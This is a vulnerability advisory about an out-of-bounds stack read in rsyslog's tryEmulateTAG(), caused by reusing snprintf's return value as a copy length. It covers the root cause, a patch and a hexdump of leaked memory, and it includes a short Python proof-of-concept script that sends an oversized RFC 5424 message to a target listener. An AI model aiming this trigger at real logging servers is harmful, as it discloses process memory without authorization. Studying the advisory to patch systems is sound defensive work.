- Product
- rsyslog
- Affected
- ≤ 8.2602.0
- Reported
- Apr 2026
rsyslog's tryEmulateTAG() uses snprintf's return value as the number of bytes written. C returns the length that would have been written, not the amount that fit. An oversized RFC 5424 APP-NAME/PROCID pushes that count past the 512-byte stack buffer, and the next memcpy over-reads about 90 bytes of stack into the synthetic TAG, which rsyslog then writes to the logs. Remote, unauthenticated, read-only (CWE-126).
Root cause
The BSD-style TAG is formatted into a fixed 512-byte stack buffer, but the length carried forward is snprintf's return value, not the number of bytes it actually wrote:
// runtime/msg.c, tryEmulateTAG() (v8.2602.0)
uchar bufTAG[CONF_TAG_MAXSIZE]; // 512
lenTAG = snprintf((char *)bufTAG, CONF_TAG_MAXSIZE,
"%s[%s]", getAPPNAME(pM, ...), getPROCID(pM, ...));
bufTAG[sizeof(bufTAG) - 1] = '\0';
MsgSetTAG(pM, bufTAG, lenTAG); // lenTAG = bytes snprintf would have writtenPer C99 §7.19.6.5, snprintf returns the length the output would have reached. When APP-NAME[PROCID] exceeds 511 characters the buffer holds 511 bytes, but lenTAG takes the full hypothetical length (for example 602). MsgSetTAG() then uses it as a copy length:
// runtime/msg.c, MsgSetTAG()
pMsg->iLenTAG = lenBuf; // 602
pBuf = malloc(pMsg->iLenTAG + 1); // malloc(603)
memcpy(pBuf, pszBuf, pMsg->iLenTAG); // copies 602 bytes out of a 512-byte bufferThat memcpy reads about 90 bytes past the end of the 512-byte stack buffer (return addresses, saved registers, stale pointers) and stores them in the TAG property.
Trigger
Any rsyslog acting as a network collector (imtcp or imudp, the standard central-logging setup) is reachable. Send an RFC 5424 message where len(APP-NAME) + len(PROCID) + 2 > 511:
import socket
appname = "A" * 300
procid = "P" * 300
msg = f"<14>1 2026-04-08T00:00:00Z host {appname} {procid} - - test"
s = socket.socket()
s.connect(("TARGET", 514)) # imtcp listener
p = msg.encode()
s.sendall(f"{len(p)} ".encode() + p) # octet-counted framing
s.close()The leaked bytes land in /var/log/syslog, and in anything rsyslog forwards onward, as the tail of the TAG field.
What leaks
After the truncated TAG, the over-read region shows up as non-printable bytes:
0000: 00 a0 01 00 00 00 00 00 00 00 ac cd 57 f1 87 e3 ............W...
0010: 31 00 03 00 00 00 00 00 00 90 0b 00 74 3c 7f 00 1...........t<..
0020: 00 a0 1b 00 80 3c 7f 00 00 a8 1d 00 80 3c 7f 00 .....<.......<..
0030: 00 a0 1b 00 80 3c 7f 00 00 dd d3 da 18 42 56 00 .....<.......BV.The 0x00007f prefixes are live x86_64 mapping addresses, so real process memory is being disclosed.
Exploitability
The only theoretical use is seeding an ASLR bypass, and only when paired with a separate memory-corruption bug in the same process.
Fix
Cap the length to what was actually written before passing it to MsgSetTAG:
lenTAG = snprintf((char *)bufTAG, CONF_TAG_MAXSIZE, "%s[%s]", ...);
if (lenTAG >= CONF_TAG_MAXSIZE)
lenTAG = CONF_TAG_MAXSIZE - 1; // cap to what was actually written
bufTAG[sizeof(bufTAG) - 1] = '\0';
MsgSetTAG(pM, bufTAG, lenTAG);More broadly, audit every snprintf whose return value is later reused as a copy length.